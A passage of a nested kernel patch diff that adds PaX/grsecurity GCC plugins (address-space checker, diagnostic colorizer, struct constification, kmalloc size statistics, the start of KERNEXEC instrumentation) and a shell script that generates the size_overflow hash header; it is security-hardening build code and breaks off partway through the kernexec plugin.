++++ tools/gcc/.gitignore	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1 @@
++size_overflow_hash.h
+--- tools/gcc/checker_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/checker_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,171 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to implement various sparse (source code checker) features
++ *
++ * TODO:
++ * - define separate __iomem, __percpu and __rcu address spaces (lots of code to patch)
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++#include "target.h"
++
++extern void c_register_addr_space (const char *str, addr_space_t as);
++extern enum machine_mode default_addr_space_pointer_mode (addr_space_t);
++extern enum machine_mode default_addr_space_address_mode (addr_space_t);
++extern bool default_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as);
++extern bool default_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as);
++extern rtx default_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as);
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info checker_plugin_info = {
++	.version	= "201111150100",
++};
++
++#define ADDR_SPACE_KERNEL		0
++#define ADDR_SPACE_FORCE_KERNEL		1
++#define ADDR_SPACE_USER			2
++#define ADDR_SPACE_FORCE_USER		3
++#define ADDR_SPACE_IOMEM		0
++#define ADDR_SPACE_FORCE_IOMEM		0
++#define ADDR_SPACE_PERCPU		0
++#define ADDR_SPACE_FORCE_PERCPU		0
++#define ADDR_SPACE_RCU			0
++#define ADDR_SPACE_FORCE_RCU		0
++
++static enum machine_mode checker_addr_space_pointer_mode(addr_space_t addrspace)
++{
++	return default_addr_space_pointer_mode(ADDR_SPACE_GENERIC);
++}
++
++static enum machine_mode checker_addr_space_address_mode(addr_space_t addrspace)
++{
++	return default_addr_space_address_mode(ADDR_SPACE_GENERIC);
++}
++
++static bool checker_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_valid_pointer_mode(mode, as);
++}
++
++static bool checker_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as)
++{
++	return default_addr_space_legitimate_address_p(mode, mem, strict, ADDR_SPACE_GENERIC);
++}
++
++static rtx checker_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_legitimize_address(x, oldx, mode, as);
++}
++
++static bool checker_addr_space_subset_p(addr_space_t subset, addr_space_t superset)
++{
++	if (subset == ADDR_SPACE_FORCE_KERNEL && superset == ADDR_SPACE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_USER && superset == ADDR_SPACE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_IOMEM && superset == ADDR_SPACE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_USER && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_IOMEM && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	return subset == superset;
++}
++
++static rtx checker_addr_space_convert(rtx op, tree from_type, tree to_type)
++{
++//	addr_space_t from_as = TYPE_ADDR_SPACE(TREE_TYPE(from_type));
++//	addr_space_t to_as = TYPE_ADDR_SPACE(TREE_TYPE(to_type));
++
++	return op;
++}
++
++static void register_checker_address_spaces(void *event_data, void *data)
++{
++	c_register_addr_space("__kernel", ADDR_SPACE_KERNEL);
++	c_register_addr_space("__force_kernel", ADDR_SPACE_FORCE_KERNEL);
++	c_register_addr_space("__user", ADDR_SPACE_USER);
++	c_register_addr_space("__force_user", ADDR_SPACE_FORCE_USER);
++//	c_register_addr_space("__iomem", ADDR_SPACE_IOMEM);
++//	c_register_addr_space("__force_iomem", ADDR_SPACE_FORCE_IOMEM);
++//	c_register_addr_space("__percpu", ADDR_SPACE_PERCPU);
++//	c_register_addr_space("__force_percpu", ADDR_SPACE_FORCE_PERCPU);
++//	c_register_addr_space("__rcu", ADDR_SPACE_RCU);
++//	c_register_addr_space("__force_rcu", ADDR_SPACE_FORCE_RCU);
++
++	targetm.addr_space.pointer_mode		= checker_addr_space_pointer_mode;
++	targetm.addr_space.address_mode		= checker_addr_space_address_mode;
++	targetm.addr_space.valid_pointer_mode	= checker_addr_space_valid_pointer_mode;
++	targetm.addr_space.legitimate_address_p	= checker_addr_space_legitimate_address_p;
++//	targetm.addr_space.legitimize_address	= checker_addr_space_legitimize_address;
++	targetm.addr_space.subset_p		= checker_addr_space_subset_p;
++	targetm.addr_space.convert		= checker_addr_space_convert;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &checker_plugin_info);
++
++	for (i = 0; i < argc; ++i)
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	register_callback(plugin_name, PLUGIN_PRAGMAS, register_checker_address_spaces, NULL);
++
++	return 0;
++}
+--- tools/gcc/colorize_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/colorize_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,148 @@
++/*
++ * Copyright 2012 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to colorize diagnostic output
++ *
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info colorize_plugin_info = {
++	.version	= "201203092200",
++	.help		= NULL,
++};
++
++#define GREEN		"\033[32m\033[2m"
++#define LIGHTGREEN	"\033[32m\033[1m"
++#define YELLOW		"\033[33m\033[2m"
++#define LIGHTYELLOW	"\033[33m\033[1m"
++#define RED		"\033[31m\033[2m"
++#define LIGHTRED	"\033[31m\033[1m"
++#define BLUE		"\033[34m\033[2m"
++#define LIGHTBLUE	"\033[34m\033[1m"
++#define BRIGHT		"\033[m\033[1m"
++#define NORMAL		"\033[m"
++
++static diagnostic_starter_fn old_starter;
++static diagnostic_finalizer_fn old_finalizer;
++
++static void start_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	const char *color;
++	char *newprefix;
++
++	switch (diagnostic->kind) {
++	case DK_NOTE:
++		color = LIGHTBLUE;
++		break;
++
++	case DK_PEDWARN:
++	case DK_WARNING:
++		color = LIGHTYELLOW;
++		break;
++
++	case DK_ERROR:
++	case DK_FATAL:
++	case DK_ICE:
++	case DK_PERMERROR:
++	case DK_SORRY:
++		color = LIGHTRED;
++		break;
++
++	default:
++		color = NORMAL;
++	}
++
++	old_starter(context, diagnostic);
++	if (-1 == asprintf(&newprefix, "%s%s" NORMAL, color, context->printer->prefix))
++		return;
++	pp_destroy_prefix(context->printer);
++	pp_set_prefix(context->printer, newprefix);
++}
++
++static void finalize_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	old_finalizer(context, diagnostic);
++}
++
++static void colorize_arm(void)
++{
++	old_starter = diagnostic_starter(global_dc);
++	old_finalizer = diagnostic_finalizer(global_dc);
++
++	diagnostic_starter(global_dc) = start_colorize;
++	diagnostic_finalizer(global_dc) = finalize_colorize;
++}
++
++static unsigned int execute_colorize_rearm(void)
++{
++	if (diagnostic_starter(global_dc) == start_colorize)
++		return 0;
++
++	colorize_arm();
++	return 0;
++}
++
++struct simple_ipa_opt_pass pass_ipa_colorize_rearm = {
++	.pass = {
++		.type			= SIMPLE_IPA_PASS,
++		.name			= "colorize_rearm",
++		.gate			= NULL,
++		.execute		= execute_colorize_rearm,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static void colorize_start_unit(void *gcc_data, void *user_data)
++{
++	colorize_arm();
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info colorize_rearm_pass_info = {
++		.pass				= &pass_ipa_colorize_rearm.pass,
++		.reference_pass_name		= "*free_lang_data",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &colorize_plugin_info);
++	register_callback(plugin_name, PLUGIN_START_UNIT, &colorize_start_unit, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &colorize_rearm_pass_info);
++	return 0;
++}
+--- tools/gcc/constify_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/constify_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,331 @@
++/*
++ * Copyright 2011 by Emese Revfy <re.emese@gmail.com>
++ * Copyright 2011 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * This gcc plugin constifies all structures which contain only function pointers or are explicitly marked for constification.
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/const_plugin/
++ *
++ * Usage:
++ * $ gcc -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -o constify_plugin.so constify_plugin.c
++ * $ gcc -fplugin=constify_plugin.so test.c -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++#define C_TYPE_FIELDS_READONLY(TYPE) TREE_LANG_FLAG_1(TYPE)
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info const_plugin_info = {
++	.version	= "201205300030",
++	.help		= "no-constify\tturn off constification\n",
++};
++
++static void deconstify_tree(tree node);
++
++static void deconstify_type(tree type)
++{
++	tree field;
++
++	for (field = TYPE_FIELDS(type); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++		if (!TYPE_READONLY(type))
++			continue;
++
++		deconstify_tree(field);
++	}
++	TYPE_READONLY(type) = 0;
++	C_TYPE_FIELDS_READONLY(type) = 0;
++}
++
++static void deconstify_tree(tree node)
++{
++	tree old_type, new_type, field;
++
++	old_type = TREE_TYPE(node);
++
++	gcc_assert(TYPE_READONLY(old_type) && (TYPE_QUALS(old_type) & TYPE_QUAL_CONST));
++
++	new_type = build_qualified_type(old_type, TYPE_QUALS(old_type) & ~TYPE_QUAL_CONST);
++	TYPE_FIELDS(new_type) = copy_list(TYPE_FIELDS(new_type));
++	for (field = TYPE_FIELDS(new_type); field; field = TREE_CHAIN(field))
++		DECL_FIELD_CONTEXT(field) = new_type;
++
++	deconstify_type(new_type);
++
++	TREE_READONLY(node) = 0;
++	TREE_TYPE(node) = new_type;
++}
++
++static tree handle_no_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	tree type;
++
++	*no_add_attrs = true;
++	if (TREE_CODE(*node) == FUNCTION_DECL) {
++		error("%qE attribute does not apply to functions", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == VAR_DECL) {
++		error("%qE attribute does not apply to variables", name);
++		return NULL_TREE;
++	}
++
++	if (TYPE_P(*node)) {
++		if (TREE_CODE(*node) == RECORD_TYPE || TREE_CODE(*node) == UNION_TYPE)
++			*no_add_attrs = false;
++		else
++			error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	type = TREE_TYPE(*node);
++
++	if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	if (lookup_attribute(IDENTIFIER_POINTER(name), TYPE_ATTRIBUTES(type))) {
++		error("%qE attribute is already applied to the type", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL && !TYPE_READONLY(type)) {
++		error("%qE attribute used on type that is not constified", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL) {
++		deconstify_tree(*node);
++		return NULL_TREE;
++	}
++
++	return NULL_TREE;
++}
++
++static void constify_type(tree type)
++{
++	TYPE_READONLY(type) = 1;
++	C_TYPE_FIELDS_READONLY(type) = 1;
++}
++
++static tree handle_do_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	*no_add_attrs = true;
++	if (!TYPE_P(*node)) {
++		error("%qE attribute applies to types only", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) != RECORD_TYPE && TREE_CODE(*node) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	*no_add_attrs = false;
++	constify_type(*node);
++	return NULL_TREE;
++}
++
++static struct attribute_spec no_const_attr = {
++	.name			= "no_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_no_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static struct attribute_spec do_const_attr = {
++	.name			= "do_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_do_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&no_const_attr);
++	register_attribute(&do_const_attr);
++}
++
++static bool is_fptr(tree field)
++{
++	tree ptr = TREE_TYPE(field);
++
++	if (TREE_CODE(ptr) != POINTER_TYPE)
++		return false;
++
++	return TREE_CODE(TREE_TYPE(ptr)) == FUNCTION_TYPE;
++}
++
++static bool walk_struct(tree node)
++{
++	tree field;
++
++	if (TYPE_FIELDS(node) == NULL_TREE)
++		return false;
++
++	if (lookup_attribute("no_const", TYPE_ATTRIBUTES(node))) {
++		gcc_assert(!TYPE_READONLY(node));
++		deconstify_type(node);
++		return false;
++	}
++
++	for (field = TYPE_FIELDS(node); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++		enum tree_code code = TREE_CODE(type);
++
++		if (node == type)
++			return false;
++		if (code == RECORD_TYPE || code == UNION_TYPE) {
++			if (!(walk_struct(type)))
++				return false;
++		} else if (!is_fptr(field) && !TREE_READONLY(field))
++			return false;
++	}
++	return true;
++}
++
++static void finish_type(void *event_data, void *data)
++{
++	tree type = (tree)event_data;
++
++	if (type == NULL_TREE || type == error_mark_node)
++		return;
++
++	if (TYPE_READONLY(type))
++		return;
++
++	if (walk_struct(type))
++		constify_type(type);
++}
++
++static unsigned int check_local_variables(void);
++
++struct gimple_opt_pass pass_local_variable = {
++	{
++		.type			= GIMPLE_PASS,
++		.name			= "check_local_variables",
++		.gate			= NULL,
++		.execute		= check_local_variables,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static unsigned int check_local_variables(void)
++{
++	tree var;
++	referenced_var_iterator rvi;
++
++#if BUILDING_GCC_VERSION == 4005
++	FOR_EACH_REFERENCED_VAR(var, rvi) {
++#else
++	FOR_EACH_REFERENCED_VAR(cfun, var, rvi) {
++#endif
++		tree type = TREE_TYPE(var);
++
++		if (!DECL_P(var) || TREE_STATIC(var) || DECL_EXTERNAL(var))
++			continue;
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++
++		if (!TYPE_READONLY(type))
++			continue;
++
++//		if (lookup_attribute("no_const", DECL_ATTRIBUTES(var)))
++//			continue;
++
++//		if (lookup_attribute("no_const", TYPE_ATTRIBUTES(type)))
++//			continue;
++
++		if (walk_struct(type)) {
++			error_at(DECL_SOURCE_LOCATION(var), "constified variable %qE cannot be local", var);
++			return 1;
++		}
++	}
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	bool constify = true;
++
++	struct register_pass_info local_variable_pass_info = {
++		.pass				= &pass_local_variable.pass,
++		.reference_pass_name		= "*referenced_vars",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!(strcmp(argv[i].key, "no-constify"))) {
++			constify = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &const_plugin_info);
++	if (constify) {
++		register_callback(plugin_name, PLUGIN_FINISH_TYPE, finish_type, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &local_variable_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+--- tools/gcc/generate_size_overflow_hash.sh	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/generate_size_overflow_hash.sh	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,94 @@
++#!/bin/bash
++
++# This script generates the hash table (size_overflow_hash.h) for the size_overflow gcc plugin (size_overflow_plugin.c).
++
++header1="size_overflow_hash.h"
++database="size_overflow_hash.data"
++n=65536
++
++usage() {
++cat <<EOF
++usage: $0 options
++OPTIONS:
++        -h|--help               help
++	-o			header file
++	-d			database file
++	-n			hash array size
++EOF
++    return 0
++}
++
++while true
++do
++    case "$1" in
++    -h|--help)	usage && exit 0;;
++    -n)		n=$2; shift 2;;
++    -o)		header1="$2"; shift 2;;
++    -d)		database="$2"; shift 2;;
++    --)		shift 1; break ;;
++     *)		break ;;
++    esac
++done
++
++create_defines() {
++	for i in `seq 1 32`
++	do
++		echo -e "#define PARAM"$i" (1U << "$i")" >> "$header1"
++	done
++	echo >> "$header1"
++}
++
++create_structs () {
++	rm -f "$header1"
++
++	create_defines
++
++	cat "$database" | while read data
++	do
++		data_array=($data)
++		struct_hash_name="${data_array[0]}"
++		funcn="${data_array[1]}"
++		params="${data_array[2]}"
++		next="${data_array[5]}"
++
++		echo "const struct size_overflow_hash $struct_hash_name = {" >> "$header1"
++
++		echo -e "\t.next\t= $next,\n\t.name\t= \"$funcn\"," >> "$header1"
++		echo -en "\t.param\t= " >> "$header1"
++		line=
++		for param_num in ${params//-/ };
++		do
++			line="${line}PARAM"$param_num"|"
++		done
++
++		echo -e "${line%?},\n};\n" >> "$header1"
++	done
++}
++
++create_headers () {
++	echo "const struct size_overflow_hash * const size_overflow_hash[$n] = {" >> "$header1"
++}
++
++create_array_elements () {
++	index=0
++	grep -v "nohasharray" $database | sort -n -k 4 | while read data
++	do
++		data_array=($data)
++		i="${data_array[3]}"
++		hash="${data_array[4]}"
++		while [[ $index -lt $i ]]
++		do
++			echo -e "\t["$index"]\t= NULL," >> "$header1"
++			index=$(($index + 1))
++		done
++		index=$(($index + 1))
++		echo -e "\t["$i"]\t= &"$hash"," >> "$header1"
++	done
++	echo '};' >> $header1
++}
++
++create_structs
++create_headers
++create_array_elements
++
++exit 0
+--- tools/gcc/kallocstat_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/kallocstat_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,167 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to find the distribution of k*alloc sizes
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static const char * const kalloc_functions[] = {
++	"__kmalloc",
++	"kmalloc",
++	"kmalloc_large",
++	"kmalloc_node",
++	"kmalloc_order",
++	"kmalloc_order_trace",
++	"kmalloc_slab",
++	"kzalloc",
++	"kzalloc_node",
++};
++
++static struct plugin_info kallocstat_plugin_info = {
++	.version	= "201111150100",
++};
++
++static unsigned int execute_kallocstat(void);
++
++static struct gimple_opt_pass kallocstat_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kallocstat",
++		.gate			= NULL,
++		.execute		= execute_kallocstat,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static bool is_kalloc(const char *fnname)
++{
++	size_t i;
++
++	for (i = 0; i < ARRAY_SIZE(kalloc_functions); i++)
++		if (!strcmp(fnname, kalloc_functions[i]))
++			return true;
++	return false;
++}
++
++static unsigned int execute_kallocstat(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: 
++			tree fndecl, size;
++			gimple call_stmt;
++			const char *fnname;
++
++			// is it a call
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fndecl = gimple_call_fndecl(call_stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (TREE_CODE(fndecl) != FUNCTION_DECL)
++				continue;
++
++			// is it a call to k*alloc
++			fnname = IDENTIFIER_POINTER(DECL_NAME(fndecl));
++			if (!is_kalloc(fnname))
++				continue;
++
++			// is the size arg the result of a simple const assignment
++			size = gimple_call_arg(call_stmt, 0);
++			while (true) {
++				gimple def_stmt;
++				expanded_location xloc;
++				size_t size_val;
++
++				if (TREE_CODE(size) != SSA_NAME)
++					break;
++				def_stmt = SSA_NAME_DEF_STMT(size);
++				if (!def_stmt || !is_gimple_assign(def_stmt))
++					break;
++				if (gimple_num_ops(def_stmt) != 2)
++					break;
++				size = gimple_assign_rhs1(def_stmt);
++				if (!TREE_CONSTANT(size))
++					continue;
++				xloc = expand_location(gimple_location(def_stmt));
++				if (!xloc.file)
++					xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++				size_val = TREE_INT_CST_LOW(size);
++				fprintf(stderr, "kallocsize: %8zu %8zx %s %s:%u\n", size_val, size_val, fnname, xloc.file, xloc.line);
++				break;
++			}
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++//debug_tree(gimple_call_fn(call_stmt));
++//print_node(stderr, "pax", fndecl, 4);
++		}
++	}
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info kallocstat_pass_info = {
++		.pass				= &kallocstat_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kallocstat_plugin_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kallocstat_pass_info);
++
++	return 0;
++}
+--- tools/gcc/kernexec_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/kernexec_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,427 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to make KERNEXEC/amd64 almost as good as it is on i386
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info kernexec_plugin_info = {
++	.version	= "201111291120",
++	.help		= "method=[bts|or]\tinstrumentation method\n"
++};
++
++static unsigned int execute_kernexec_reload(void);
++static unsigned int execute_kernexec_fptr(void);
++static unsigned int execute_kernexec_retaddr(void);
++static bool kernexec_cmodel_check(void);
++
++static void (*kernexec_instrument_fptr)(gimple_stmt_iterator *);
++static void (*kernexec_instrument_retaddr)(rtx);
++
++static struct gimple_opt_pass kernexec_reload_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_reload",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_reload,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct gimple_opt_pass kernexec_fptr_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_fptr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_fptr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct rtl_opt_pass kernexec_retaddr_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "kernexec_retaddr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_retaddr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
